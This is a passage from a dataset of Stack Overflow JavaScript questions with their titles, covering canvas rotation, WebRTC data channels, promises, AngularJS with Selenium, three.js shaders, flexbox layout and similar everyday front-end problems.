generics_utenteID : '' 1 '' , generics_elencoID : '' 1 '' ... and so on } . var reusableJSObject = { generics : { utenteID : 1 , elencoID : 1 } , mainbar : { ade : { stepID : { 0 : 1 , 1 : 3 } , stepTitle : { 0 : `` blablabla '' , 1 : `` quiquoqua '' } } } } jQuery.each ( nastyJSON , function ( key , value ) { var keysp = key.split ( ' _ ' ) ; switch ( keysp [ 0 ] ) { // # generics case 'generics ' : if ( ! reusableJSObject.hasOwnProperty ( keysp [ 0 ] ) ) { reusableJSObject [ keysp [ 0 ] ] = new Object ( ) ; } ; switch ( keysp [ 1 ] ) { // # utenteID case 'utenteID ' : if ( ! reusableJSObject [ keysp [ 0 ] ] .hasOwnProperty ( keysp [ 1 ] ) ) { reusableJSObject [ keysp [ 0 ] ] [ keysp [ 1 ] ] ; } ; reusableJSObject [ keysp [ 0 ] ] [ keysp [ 1 ] ] = Number ( value ) ; break ; // # elencoID case 'elencoID ' : if ( ! reusableJSObject [ keysp [ 0 ] ] .hasOwnProperty ( keysp [ 1 ] ) ) { reusableJSObject [ keysp [ 0 ] ] [ keysp [ 1 ] ] ; } ; reusableJSObject [ keysp [ 0 ] ] [ keysp [ 1 ] ] = Number ( value ) ; break ; } break ; // # mainbar case 'mainbar ' : if ( ! reusableJSObject.hasOwnProperty ( keysp [ 0 ] ) ) { reusableJSObject [ keysp [ 0 ] ] = new Object ( ) ; } ; break ; // ... and So On ! } } ) ;",Dynamically create JavaScript objects with variable depth "JS : I was looking at the source code to qTip 2 and saw the following : I ca n't come up with a reason you should ever do this , and have a strong feeling that it would just encourage bad coding habits . Say a developer makes a typo in a Yoda condition like if ( TRUE = someCondition ( ) ) , then TRUE could very well end up actually meaning false , or you might end up assigning someObject to NULL.I guess I 'm just wondering if there 's some redeeming quality for this practice that I 'm missing , or if this is just a plain old Bad Idea™ // Munge the primitives - Paul Irish tipvar TRUE = true , FALSE = false , NULL = null ;",Assigning JavaScript primitives to their named equivalent variable like `` constants '' "JS : I am now pulling data from a external JSON URL properly to the master page , but my detail page does n't seem to pass on the object initallt received from http.get . This master part of the app can be viewed in a Code Pen at CODEPENIf my user wanted to change the date ( order.date ) value manually to say `` 10/8/16 '' . How can I access/edit any of the JSON values that are returned from the external API ? I eventually wish to edit the returned JSON data within my app and then post that revised data back to a PHP API server . < label class= '' item item-input '' > < i class= '' icon ion-search placeholder-icon '' > < /i > < input type= '' search '' ng-model= '' query '' placeholder= '' Search Slugname '' > < button class= '' button button-dark '' ng-click= '' getOrders ( ) '' > Submit < /button > < /label >",Editing JSON search results from within Angular "JS : I 'm trying to resize a rotated shape on canvas . My problem is that when I call the rendering function , the shape starts `` drifting '' depending on the shape angle . How can I prevent this ? I 've made a simplified fiddle demonstrating the problem , when the canvas is clicked , the shape is grown and for some reason it drifts upwards.Here 's the fiddle : https : //jsfiddle.net/x5gxo1p7/ In the `` real '' code the shape is resized when the resize-handle is clicked and moved but I think this example demonstrates the problem sufficiently.EDIT : updated fiddle to clarify the issue : https : //jsfiddle.net/x5gxo1p7/9/ < style > canvas { position : absolute ; box-sizing : border-box ; border : 1px solid red ; } < /style > < body > < div > < canvas id= '' canvas '' > < /canvas > < /div > < /body > < script type= '' text/javascript '' > var canvas = document.getElementById ( 'canvas ' ) ; canvas.width = 300 ; canvas.height= 150 ; var ctx = canvas.getContext ( '2d ' ) ; var counter = 0 ; var shape = { top : 120 , left : 120 , width : 120 , height : 60 , rotation : Math.PI / 180 * 15 } ; function draw ( ) { var h2 = shape.height / 2 ; var w2 = shape.width / 2 ; var x = w2 ; var y = h2 ; ctx.save ( ) ; ctx.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; ctx.translate ( 75,37.5 ) ctx.translate ( x , y ) ; ctx.rotate ( Math.PI / 180 * 15 ) ; ctx.translate ( -x , -y ) ; ctx.fillStyle = ' # 000 ' ; ctx.fillRect ( 0 , 0 , shape.width , shape.height ) ; ctx.restore ( ) ; } canvas.addEventListener ( 'click ' , function ( ) { shape.width = shape.width + 15 ; window.requestAnimationFrame ( draw.bind ( this ) ) ; } ) ; window.requestAnimationFrame ( draw.bind ( this ) ) ; < /script >",Rotated shape is moving on y-axis when resizing shape width "JS : I was reading an article : Optimizing JavaScript for Execution Speed And there is a section that says : Use this code : Instead of : for performance reasons.I always used the `` wrong '' way , according the article , but , am I wrong or is the article wrong ? for ( var i = 0 ; ( p = document.getElementsByTagName ( `` P '' ) [ i ] ) ; i++ ) nl = document.getElementsByTagName ( `` P '' ) ; for ( var i = 0 ; i < nl.length ; i++ ) { p = nl [ i ] ; }",Is it faster access an javascript array directly ? "JS : How to start a basic WebRTC data channel ? This is what I have so far , but it does n't even seem to try and connect . Im sure I am just missing something basic . var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection || window.msRTCPeerConnection ; var peerConnection = new RTCPeerConnection ( { iceServers : [ { url : 'stun : stun1.l.google.com:19302 ' } , { url : 'stun : stun2.l.google.com:19302 ' } , { url : 'stun : stun3.l.google.com:19302 ' } , { url : 'stun : stun4.l.google.com:19302 ' } , ] } ) ; peerConnection.ondatachannel = function ( ) { console.log ( 'peerConnection.ondatachannel ' ) ; } ; peerConnection.onicecandidate = function ( ) { console.log ( 'peerConnection.onicecandidate ' ) ; } ; var dataChannel = peerConnection.createDataChannel ( 'myLabel ' , { } ) ; dataChannel.onerror = function ( error ) { console.log ( 'dataChannel.onerror ' ) ; } ; dataChannel.onmessage = function ( event ) { console.log ( 'dataChannel.onmessage ' ) ; } ; dataChannel.onopen = function ( ) { console.log ( 'dataChannel.onopen ' ) ; dataChannel.send ( 'Hello World ! ' ) ; } ; dataChannel.onclose = function ( ) { console.log ( 'dataChannel.onclose ' ) ; } ; console.log ( peerConnection , dataChannel ) ;",How to start a basic WebRTC data channel ? "JS : I have a function like this : and I want to convert it 's call to a promise . My current solution is this : I ca n't use the Q.fcall because it expects a Node.js-style callback function ( err , result ) { ... } So , is there a way to improve my code using the Q API ? var f = function ( options , successCallback , errorCallback ) { ... } var deferred = Q.defer ( ) ; f ( options , function ( result ) { deferred.resolve ( result ) ; } , function ( err ) { deferred.reject ( err ) ; } ) ; return deferred.promise ;",How to convert function call with two callbacks to promise "JS : I 'm working on a custom tokenfield based on textarea . The idea is to have a textarea with div elements absolutely positioned above , so it looks like they are in text area.It was pain so far , but I managed to do pretty much everything , except one thing.Is it even possible in javascript to set reverse-selection ? When you put a cursor somewhere in the middle of textarea , hold down shift and press left arrow a few times , you 'll get a selection . The tricky part , is that it 's not usual - it 's backwards ( it 's start is to the right from the end , not like it is usually ) . There are placeholders in my textarea over which I display my divs ( tokens ) . When you navigate to one of them , cursor jumps to the opposite edge of a placeholder , so it feels natural . When you hold down shift , and reach the placeholder , it jumps to the right , and it sets a new selection , so it looks like you selected the token ( you can press delete , and remove selected range with token itself , which is cool ) . BUT it wont possibly work if you navigate from right to left , because setting a new selection would make it unreverted one : Left-to-right selection : Right-to-left selectionSo here 's question : Can I set a selection in textarea where start point would be greater than the end point ? Simply element.setSelectionRange ( right , left ) does not work in firefox , any other ideas ? abcde [ start ] efg [ end ] ( token ) [ shift ] + [ right ] abcde [ start ] efg ( token ) [ end ] [ del ] abcde ( token ) [ end ] efg [ start ] abcde [ shift ] + [ left ] [ start ] ( token ) abcdeefg [ end ] //see ? it 's back to normal [ shift ] + [ left ] [ start ] ( token ) abcdeef [ end ] g //huh ? ! shift-right moves end point ( unexpected ) abcde",How do I set a backwards selection ? "JS : I want to move my markers whenever it is slided along with the seek . I expect my markers to be exactly slidable as jqueryui-sliderQuestion : I want my markers ( both ) to be as slidable as jqueryui-range slider as shown below the video in the following example : Please help me thanks in advance ! ! ! var player = videojs ( 'example_video_1 ' ) ; function markplayer ( ) { var inTimeOutTimeList = [ 6.333,27.667 ] ; for ( var i = 0 ; i < inTimeOutTimeList.length ; i++ ) { player.markers.add ( [ { time : inTimeOutTimeList [ i ] , text : inTimeOutTimeList [ i ] } ] ) ; var icon = ( i == 0 ) ? ' [ ' : ' ] ' ; $ ( `` .vjs-marker [ data-marker-time= ' '' +inTimeOutTimeList [ i ] + '' ' ] '' ) .html ( icon ) ; } } ; player.markers ( { breakOverlay : { display : true , displayTime : 120 , style : { 'width ' : '100 % ' , 'height ' : '30 % ' , 'background-color ' : 'rgba ( 10,10,10,0.6 ) ' , 'color ' : 'white ' , 'font-size ' : '16px ' } } , markers : [ { time:10 , startTime:10 , endTime:60 , text : `` this '' , overlayText : `` 1 '' , class : `` special-blue '' } , ] } ) ; setTimeout ( function ( ) { markplayer ( ) ; } ,2000 ) ; $ ( `` # slider-range '' ) .slider ( { range : true , min : 0 , max : 500 , values : [ 75 , 300 ] , slide : function ( event , ui ) { $ ( `` # amount '' ) .val ( `` $ '' + ui.values [ 0 ] + `` - $ '' + ui.values [ 1 ] ) ; } } ) ; .vjs-fluid { overflow : hidden ; } # example_video_1 .vjs-control-bar { display : block ; } # example_video_1 .vjs-progress-control { bottom : 28px ; left : 0 ; height : 10px ; width : 100 % ; } .vjs-default-skin.vjs-has-started .vjs-control-bar { display : block ! important ; visibility : visible ! important ; opacity : 1 ! important ; } .vjs-marker { background-color : transparent ! important ; height : 20px ! important ; font-size : 20px ! important ; color : red ! important ; font-weight : bold ; } < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < script src= '' http : //vjs.zencdn.net/4.2/video.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/videojs-markers/0.7.0/videojs-markers.js '' > < /script > < script src= '' https : //code.jquery.com/ui/1.12.1/jquery-ui.js '' > < /script > < link href= '' http : //vjs.zencdn.net/4.2/video-js.css '' rel= '' stylesheet '' / > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/videojs-markers/0.7.0/videojs.markers.min.css '' rel= '' stylesheet '' / > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.css '' rel= '' stylesheet '' / > < video id= '' example_video_1 '' width= '' 400 '' height= '' 210 '' controls class= '' video-js vjs-default-skin '' data-setup= ' { `` inactivityTimeout '' : 0 } ' > < source src= '' http : //vjs.zencdn.net/v/oceans.mp4 '' type= '' video/mp4 '' > < source src= '' http : //vjs.zencdn.net/v/oceans.webm '' type= '' video/webm '' > < /video > < p > < b > I want both of my red markers to be movable/slidable like below slider < /b > < /p > < div id= '' slider-range '' > < /div >",How to make videojs marker slidable or movable "JS : I want to have a quiz at the end of a chapter in my fixed layout epub3 e-book . This quiz will stretch across a number of pages and will be multiple choice in nature . Each question will consist of the question itself and four options , each with a radio button . At the end of the quiz , the user will click a button to reveal their overall result . To do this I will need to share information between pages . One way of doing this is for all the pages to be in one XHTML document and then I can store the answers the student gives for each question in a javascript variable . However , is it valid to have multiple pages of a fixed layout epub3 book in the same XHTML file ? , as I am doing here : It looked fine in iBooks.Alternatively , if multiple pages are used , I could store the students ' answers using window.sessionStorage . However , I 've no idea how many readers support storage . I would like the quiz to work for iBooks and also for Android and Windows Tablets and Desktops . How would you advise I implement my quiz ? < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < html xmlns= '' http : //www.w3.org/1999/xhtml '' xmlns : epub= '' http : //www.idpf.org/2007/ops '' > < head > < title > My Book < /title > < meta charset= '' utf-8 '' / > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' / > < style > p.pagebreak { page-break-after : always ; } < /style > < /head > < body > < p > Text on Page 1 < /p > < p class= '' pagebreak '' > < /p > < p > Text on Page 2 < /p > < p class= '' pagebreak '' > < /p > < p > Text on Page 3 < /p > < /body > < /html >",Share data across e-book pages "JS : So I have this simple code : And it will output some time around 335ms . That 's pretty good . But , if I encapsulate the Run function like this : It will output 18319ms , which is much worse than the case before . Why is this ? Also , if it matters , I 'm running it on Chrome 26.0.1410.63 , in the console . On node.js both snippets perform well on the console . function Run ( ) { var n = 2*1e7 ; var inside = 0 ; while ( n -- ) { if ( Math.pow ( Math.random ( ) , 2 ) + Math.pow ( Math.random ( ) , 2 ) < 1 ) inside++ ; } return inside ; } var start = Date.now ( ) ; Run ( ) ; console.log ( Date.now ( ) - start ) ; var d = Date.now ( ) ; ( function Run ( ) { var n = 2*1e7 ; var inside = 0 ; while ( n -- ) { if ( Math.pow ( Math.random ( ) , 2 ) + Math.pow ( Math.random ( ) , 2 ) < 1 ) inside++ ; } return inside ; } ) ( ) ; console.log ( Date.now ( ) - d ) ;",Why this huge performance difference for an encapsulated Javascript function ? "JS : I have this type of html : applyConditions array contains input , condition and value indexes . Could be any inputs and also many conditions . Suppose , I need to do something ( show/hide checkbox ) if username is abc and firstname isnot pqrfrom the frontend . But could be input radio_sXsPOwVSD , condition 1 and value Male.then , However , this seems to be OR , if any matches , but I need all matches . I could count the matches and compare with array length , but with onChange count on same field seems to increase/decrease multiple times . What could be the solution ? I am stuck on this for a while . could also be { `` input '' : '' radio_SXsPOwVSD '' , '' condition '' : '' 0 '' , '' value '' : '' Male '' } , < p id= '' username_input '' data-priority= '' '' > < label for= '' username '' > Username < /label > < input type= '' text '' class= '' input-text um-field `` name= '' username '' id= '' username '' placeholder= '' '' value= '' '' required= '' required '' data-label= '' Username '' > < /p > < p id= '' firstname_input '' data-priority= '' '' > < label for= '' firstname '' > First Name < /label > < input type= '' text '' class= '' input-text um-field `` name= '' firstname '' id= '' firstname '' placeholder= '' '' value= '' '' required= '' required '' data-label= '' FirstName '' > < /p > < p class= '' form-row `` id= '' radio_SXsPOwVSD_input '' > < input type= '' radio '' class= '' input-radio um-field '' value= '' Male '' name= '' radio_SXsPOwVSD '' id= '' radio_SXsPOwVSD_male '' > Male < input type= '' radio '' class= '' input-radio um-field '' value= '' Female '' name= '' radio_SXsPOwVSD '' id= '' radio_SXsPOwVSD_Female '' > Female < /p > input = usernamecondition = 0 ( is ) value = abcinput = firstnamecondition = 1 ( is not ) value = pqr applyConditions.forEach ( function ( item ) { if ( item.condition == 0 ) { jQuery ( `` # '' + item.input+ '' _input '' ) .on ( 'change ' , ( function ( avalue ) { return function ( e ) { if ( e.target.value == avalue ) { //show checkbox } else { //hide checkbox } } ; } ) ( item.value ) ) ; } else if ( item.condition == 1 ) { jQuery ( `` # '' + item.input+ '' _input '' ) .on ( 'change ' , ( function ( avalue ) { return function ( e ) { if ( e.target.value ! = avalue ) { //show checkbox } else { //hide checkbox } } ; } ) ( item.value ) ) ; } } ) ; applyConditions = [ { `` input '' : '' username '' , '' condition '' : '' 0 '' , '' value '' : '' abc '' } , { `` input '' : '' firstname '' , '' condition '' : '' 1 '' , '' value '' : '' pqr '' } ] ;",If all conditions matches inside foreach "JS : I need exclude dojo dependencies from a layer.Basically , app/Message.js contain two reference to dojo [ `` dojo/_base/declare '' , `` dojo/topic '' ] but I need to keep out dojo code in the layer created buy the builder.At the moment I am using the following code but I receive an error : error ( 304 ) Missing exclude module for layer . missing : dojo/_base/declare ; layer : app/app missing : dojo/topic ; layer : app/appCould you please point me out in the right direction and solve that error ? Notes : I am using dojo 1.10 var profile = { basePath : `` ../src/ '' , action : `` release '' , cssOptimize : `` comments '' , mini : true , useSourceMaps : false , optimize : `` closure '' , layerOptimize : `` closure '' , packages : [ `` app '' ] , stripConsole : `` all '' , selectorEngine : `` lite '' , layers : { `` dojo/dojo '' : { boot : true , customBase : true } , `` app/app '' : { include : [ `` app/Message '' , '' app/Sender '' ] , exclude : [ `` dojo/_base/declare '' , `` dojo/topic '' ] } } , staticHasFeatures : { `` dojo-trace-api '' : ! 1 , `` dojo-log-api '' : ! 1 , `` dojo-publish-privates '' : ! 1 , `` dojo-sync-loader '' : ! 1 , `` dojo-xhr-factory '' : ! 1 , `` dojo-test-sniff '' : ! 1 } } ;",How to exclude dojo files from a layer when creating a DOJO custom build ? "JS : I 'm trying to create a mini jQuery clone that can support method chaining . So far I 've came up with this piece of code : At page load , the $ variable gets populated with the jQuery clone object returned by the IIFE . My question is , how can I make the $ object to be called directly as a function while still maintaining the method chaining functionality ? Right now , I can use $ .methodOne ( ) .methodTwo ( ) but I cant use $ ( 'some parameter ' ) .methodOne ( ) .methodTwo ( ) just like jQuery does . var $ = ( function ( ) { var elements = [ ] ; function methodOne ( ) { console.log ( 'Method 1 ' ) ; return this ; } function methodTwo ( ) { console.log ( 'Method 2 ' ) ; return this ; } return { methodOne : methodOne , methodTwo : methodTwo } ; } ( ) ) ;",jQuery object data structure "JS : My question is related to DOM parsing getting triggered , i would like to know why it 's faster to use a CSS ID selector than a Class selector . When does the DOM tree have to be parsed again , and what tricks and performance enhancements should I use ... also , someone told me that if I do something like instead of improves performance , is this true for all browsers ? Also how do I know if my DOM tree has been re-parsed ? var $ p = $ ( `` p '' ) ; $ p.css ( `` color '' , `` blue '' ) ; $ p.text ( `` Text changed ! `` ) ; $ ( `` p '' ) .css ( `` color '' , `` blue '' ) ; $ ( `` p '' ) .text ( `` Text changed ! `` ) ;","CSS Selectors performance , DOM Parsing" "JS : I was developing a small JS library and was to use there custom Error exceptions.So , I decided to inherit them ( ORLY ? ) from native Javascript Error object in this way : Looks like usual inheritance.. But ! I have read articles about this here and on MDN , but all of them saying me to use something like this : But my question is - if not in the constructor of Error , then where message is initialized ? May be somebody knows how Error native constructor works ? Thanks ! P.S . If it interesting - I was developing Enum.js library . var MyError = function ( ) { Error.prototype.constructor.apply ( this , arguments ) ; } ; // Inherit without instantiating Errorvar Surrogate = function ( ) { } ; Surrogate.prototype = Error.prototype ; MyError.prototype = new Surrogate ( ) ; // Add some original methodsMyError.prototype.uniqueMethod = function ( ) { ... } var err = new MyError ( `` hello ! this is text ! `` ) ; console.log ( err.message ) ; // is giving me empty string ! var MyError = function ( msg ) { this.message = msg ; } ;",Extending JavaScript errors / exceptions "JS : So I 've browsed several articles and questions here , but no holy grail . I have an external file icon.svg , and I want to use it in several HTML files and have a different fill and sizes for each use.I ca n't use < object > from what I gather since it does n't allow for styles from CSS sheets unless you reference that sheet from the SVG file itself , which kind of defeats the entire purpose.The only way I found how to do this is like this : And the CSS applies . But I can only seem to do it if I add symbol nodes in the SVG file and give them an ID , which I 'd rather not do . Also , could it be that this might be not supported in all major browsers ? Any way to achieve this ? Update : Added tags for javascript/angularjs since the solution was JS based . ( see answer ) < svg class= '' icon '' > < use xlink : href= '' icon.svg # symbolid '' > < /use > < /svg >",Using an SVG and Apply CSS from Stylesheet "JS : I am learning rxjs . I create decorator `` toggleable '' for Dropdown component . All work fine , but I do n't like it . How can I remove condition `` toggle/hide '' .Uses rxjs , react.js , recompose.It 's toogleable decorator for Dropdown component.It 's decorator for Dropdown button export const toggleable = Wrapped = > componentFromStream ( ( props $ ) = > { // toogleHandler called with onClick const { handler : toogleHandler , stream : toogle $ } = createEventHandler ( ) ; // hideHandler called with code below const { handler : hideHandler , stream : hide $ } = createEventHandler ( ) ; const show $ = Observable.merge ( toogle $ .mapTo ( 'toogle ' ) , hide $ .mapTo ( 'hide ' ) ) .startWith ( false ) .scan ( ( state , type ) = > { if ( type === 'toogle ' ) { return ! state ; } if ( type === 'hide ' ) { return false ; } return state ; } ) ; return props $ .combineLatest ( show $ , ( props , show ) = > ( < Wrapped { ... props } show= { show } onToggle= { toogleHandler } onHide= { hideHandler } / > ) ) ; } ) ; // hideHandler caller class Foo extends Component { constructor ( props ) { super ( props ) ; this.refButton.bind ( this ) ; this.documentClick $ = Observable.fromEvent ( global.document , 'click ' ) .filter ( event = > this.button ! == event.target ) .do ( ( event ) = > { this.props.onHide ( event ) ; } ) ; } componentDidMount ( ) { this.documentClick $ .subscribe ( ) ; } componentWillUnmount ( ) { this.documentClick $ .unsubscribe ( ) ; } refButton = ( ref ) = > { this.button = ref ; } }",How implement toggle with Rxjs "JS : Here is where I 'm starting : http : //jsfiddle.net/Vercingetorix333/7b2L25a5/2/As you can see The spacing that I have on either end of the container ( flex size : 10 ) is much larger than the spaces between the content ( flex size : 2.5 ) . At the moment when a user decreases the size of the html window , the elements do eventually wrap to the second line ( as intended ) . What I 'd like to do however is set the first window resizing break-point / responsiveness factor so that when content does move to the second line ( maybe using @ media ... . in css ? ) it takes the two right-most content divs in one go . Then I desire for each line in the container to look like this : large buffer - content - small buffer - content - large bufferCan I do this purely in css ? Or do I need some javascript ? Edit : Adding my code from Fiddle ( for posterity 's sake ) .HTMLCSS < div class= '' outer_container '' > < div class= '' outer_buffer '' > < /div > < div class= '' content '' > Some Content < /div > < div class= '' inner_buffer '' > < /div > < div class= '' content '' > Some Content < /div > < div class= '' inner_buffer '' > < /div > < div class= '' content '' > Some Content < /div > < div class= '' inner_buffer '' > < /div > < div class= '' content '' > Some Content < /div > < div class= '' outer_buffer '' > < /div > < /div > .outer_container { display : flex ; flex-wrap : wrap ; justify-content : center ; } .outer_buffer { flex-grow : 10 ; } .inner_buffer { flex-grow : 2.5 ; } .content { width : 50px ; border : solid 1px red ; }",How to preserve a spacing template on multiple lines using a flex-box container "JS : I 'd like to be able to throttle the calls to getPagerank ( ) to one per second . I 've tried various things but ca n't get it to work . var pagerank = require ( 'pagerank ' ) ; var _ = require ( 'highland ' ) ; var urls = [ 'google.com ' , 'yahoo.com ' , 'bing.com ' ] ; var getPagerank = _.wrapCallback ( pagerank ) ; // I want to throttle calls to getPagerank to 1/secvar pageRanks = _ ( urls ) .map ( getPagerank ) .merge ( ) ; pageRanks.toArray ( function ( arr ) { console.log ( arr ) ; } ) ;",How can I throttle a Highland.js or Node.js stream to one object per second ? "JS : Here is a div with an AngularJS ng-click attribute that sets a variable when the div is clicked.Here is some Java code that uses Selenium to click on the div element.When I run the Java code , the AngularJS hangs for eternity . I figure foo.bar is not set when the div is clicked so here is some code that sets the variable directly . Stacktrace unknown error : foo is not defined ( Session info : chrome=56.0.2924.87 ) ( Driver info : chromedriver=2.25.426923 ( 0390b88869384d6eb0d5d09729679f934aab9eed ) , platform=Windows NT 6.1.7601 SP1 x86_64 ) ( WARNING : The server did not provide any stacktrace information ) Command duration or timeout : 51 milliseconds Build info : version : ' 2.53.0 ' , revision : '35ae25b ' , time : '2016-03-15 17:00:58 ' System info : host : 'WV-VC104-027 ' , ip : ' { ip } ' , os.name : 'Windows 7 ' , os.arch : 'amd64 ' , os.version : ' 6.1 ' , java.version : ' 1.8.0_151 ' Driver info : org.openqa.selenium.chrome.ChromeDriver Capabilities [ { applicationCacheEnabled=false , rotatable=false , mobileEmulationEnabled=false , networkConnectionEnabled=false , chrome= { chromedriverVersion=2.25.426923 ( 0390b88869384d6eb0d5d09729679f934aab9eed ) , userDataDir=C : \Users { user } \AppData\Local\Temp\scoped_dir5600_4225 } , takesHeapSnapshot=true , pageLoadStrategy=normal , databaseEnabled=false , handlesAlerts=true , hasTouchScreen=false , version=56.0.2924.87 , platform=XP , browserConnectionEnabled=false , nativeEvents=true , acceptSslCerts=true , locationContextEnabled=true , webStorageEnabled=true , browserName=chrome , takesScreenshot=true , javascriptEnabled=true , cssSelectorsEnabled=true } ] Session ID : a7734312eff62fe452a53895b221a58dWhen I try to set foo.bar I can not get a reference to the variable because it is not globally defined and is buried somewhere inside AngularJS source code . I have tried to unminify the index and look for the variable but I can not seem to find it . I want to manually set the foo.bar variable through the JavascriptExecutor but can not get a reference to the variable . How would I find then set the variable ? If that seems like the wrong way to trigger this ng-click , I am open to ideas . I am sure Protractor has a way to handle this but this AngularJS application deployed in an enterprise environment and have been trying to get the business side to approve the tech for months . I am stuck with Selenium . Help ... < div id= '' id '' ng-click= '' foo.bar = true ; '' > Set bar variable on foo object to true < /div > By upload = By.id ( `` id '' ) ; driver.findElement ( uploadCensus ) .click ( ) ; By upload = By.id ( `` id '' ) ; ( ( JavascriptExecutor ) driver ) .executeScript ( `` foo.bar = true ; '' , driver.findElement ( upload ) ) ;",Access AngularJS variable with Java Selenium JavascriptExecutor "JS : I tried to create the snow effect like the one on the bottom page of this link http : //blog.edankwan.com/post/my-first-christmas-experiment . Everything else works fine But just ca n't make the motion blur effect work . Any ideas ? the texture sprite used to achieve the motion blur effecthere is the code : http : //blog.edankwan.com/post/my-first-christmas-experiment . ( function ( global ) { var img = 'https : //i.imgur.com/hlmsgWA.png ' var renderer , scene , camera var w = 800 , h = 320 var uniforms var geometry var texture , material var gui var conf = { amount : 200 , speed : 0.5 , time : 0 } var obj = { init : function ( ) { renderer = new THREE.WebGLRenderer ( { antialias : true } ) renderer.setPixelRatio ( window.devicePixelRatio ) renderer.setSize ( w , h ) camera = new THREE.Camera scene = new THREE.Scene ( ) geometry = new THREE.BufferGeometry ( ) var positions = [ ] for ( var i = 0 , l = conf.amount ; i < l ; i++ ) { positions [ i * 3 ] = Math.random ( ) * 800 - 400 positions [ i * 3 + 1 ] = i positions [ i * 3 + 2 ] = Math.random ( ) * 800 } geometry.addAttribute ( 'position ' , new THREE.Float32BufferAttribute ( positions , 3 ) ) var vs = document.getElementById ( 'vertexShader ' ) .textContent var fs = document.getElementById ( 'fragmentShader ' ) .textContent uniforms = { u_amount : { type : ' f ' , value : conf.amount } , u_speed : { type : ' f ' , value : conf.speed } , u_time : { type : ' f ' , value : conf.time } , u_resolution : { type : 'vec2 ' , value : new THREE.Vector2 ( w , h ) } , u_texture : { value : new THREE.TextureLoader ( ) .load ( img ) } } material = new THREE.ShaderMaterial ( { uniforms : uniforms , vertexShader : vs , fragmentShader : fs , transparent : true } ) var points = new THREE.Points ( geometry , material ) scene.add ( points ) document.body.appendChild ( renderer.domElement ) this.render ( ) this.createGui ( ) } , createGui : function ( ) { gui = new dat.GUI ( ) gui.add ( conf , 'speed ' , -1 , 1 ) } , render : function ( ) { requestAnimationFrame ( this.render.bind ( this ) ) uniforms.u_time.value += conf.speed * 0.003 renderer.render ( scene , camera ) } } obj.init ( ) } ) ( window ) < script id= '' vertexShader '' type= '' x-shader/x-vertex '' > precision highp float ; vec3 getPosOffset ( float ratio , float thershold ) { return vec3 ( cos ( ( ratio * 80.0 + 10.0 ) * thershold ) * 20.0 * thershold , ( sin ( ( ratio * 90.0 + 30.0 ) * thershold ) + 1.0 ) * 5.0 * thershold + mix ( 500.0 , -500.0 , ratio / thershold ) , sin ( ( ratio * 70.0 + 20.0 ) * thershold ) * 20.0 * thershold ) ; } uniform vec2 u_resolution ; uniform float u_amount ; uniform float u_speed ; uniform float u_time ; varying float v_alpha ; varying float v_rotation ; varying float v_index ; void main ( ) { float indexRatio = position.y / u_amount ; float thershold = 0.7 + indexRatio * 0.3 ; float ratio = mod ( u_time - indexRatio * 3.0 , thershold ) ; float prevRatio = mod ( u_time - u_speed - indexRatio * 3.0 , thershold ) ; vec3 offsetPos = getPosOffset ( ratio , thershold ) ; vec3 prevOffsetPos = getPosOffset ( prevRatio , thershold ) ; vec3 pos = position ; pos += offsetPos ; float perspective = ( 2000.0 - pos.z ) / 2000.0 ; pos.x *= perspective ; pos.y *= perspective ; float delta = length ( offsetPos.xy - prevOffsetPos.xy ) ; float maxDelta = 2.7 ; v_index = floor ( pow ( clamp ( delta , 0.0 , maxDelta ) / maxDelta , 5.0 ) * 15.99 ) ; v_rotation = atan ( ( offsetPos.x - prevOffsetPos.x ) / ( offsetPos.y - prevOffsetPos.y ) ) ; pos.x *= 2.0 / u_resolution.x ; pos.y *= 2.0 / u_resolution.y ; pos.z = 0.0 ; gl_Position = projectionMatrix * modelViewMatrix * vec4 ( pos , 1.0 ) ; gl_PointSize = 24.0 * perspective ; v_alpha = perspective ; } < /script > < script id= '' fragmentShader '' type= '' x-shader/x-fragment '' > uniform sampler2D u_texture ; varying float v_rotation ; varying float v_index ; varying float v_alpha ; void main ( ) { vec2 coord = gl_PointCoord.xy ; coord = vec2 ( clamp ( cos ( v_rotation ) * ( coord.x - 0.5 ) + sin ( v_rotation ) * ( coord.y - 0.5 ) + 0.5 , 0.0 , 1.0 ) , clamp ( cos ( v_rotation ) * ( coord.y - 0.5 ) - sin ( v_rotation ) * ( coord.x - 0.5 ) + 0.5 , 0.0 , 1.0 ) ) ; float index = floor ( v_index + 0.5 ) ; coord.y = - coord.y + 4.0 ; coord.x += ( index - floor ( index / 4.0 ) * 4.0 ) ; coord.y -= floor ( index / 4.0 ) ; coord *= 0.25 ; vec4 color = texture2D ( u_texture , coord ) ; color.a *= v_alpha ; gl_FragColor = color ; } < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/three.js/99/three.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/dat-gui/0.7.3/dat.gui.js '' > < /script >",how to achieve this motion blur shader effect ? "JS : I have such directive : ( as you can see also i 'm using translate plugin ) and there i have a problem : in scope this value is changing , but it does n't change in directive ( when i 'm using attrs-params ( sure , if customDynamicText is a static string - all works ) - but i have a dynamic variable customDynamicTextHow can i use this dynamic variable in directive template with ng-bind-html.Is it possible ? ... template : function ( element , attrs ) { var htmlTemplate = ' < div class= '' start-it '' ng-if= '' isVisible '' > \ < p ng-bind-html= '' \ ' { { customDynamicText } } \ ' | translate '' > < /p > \ < /div > ' ; return htmlTemplate ; } , ...",AngularJS directive : template with scope value ( ng-bind-html ) "JS : I have a function that accepts either a thenable ( an object that has a then ( ) method ; see the top of MDN JavaScript docs : Promise.resolve ( ) ) or something else : Try Flow demoFlow complains when I access value.then in this if statement . I can fix it with ( value : any ) .then but this looks hacky.Can anyone recommend a good way to type-check this ? function resolve < T > ( value : { then : ( ) = > T } |T ) { if ( value & & value.then ) { console.log ( 'thenable ' , value.then ) ; } else { console.log ( 'not thenable ' ) ; } }",Flow : check type of thenable "JS : I tried to create a number of < page > < /page > class a4 depending on at the amount of content inside it . If the content exceed the height of < page > < /page > , I would like to create a new < page > < /page > for content that exceed from previous page.From above code , as I inspected the new < page class='a4 ' > < /page > was created but I could not get the exceed content and put them in a new created page.How can I 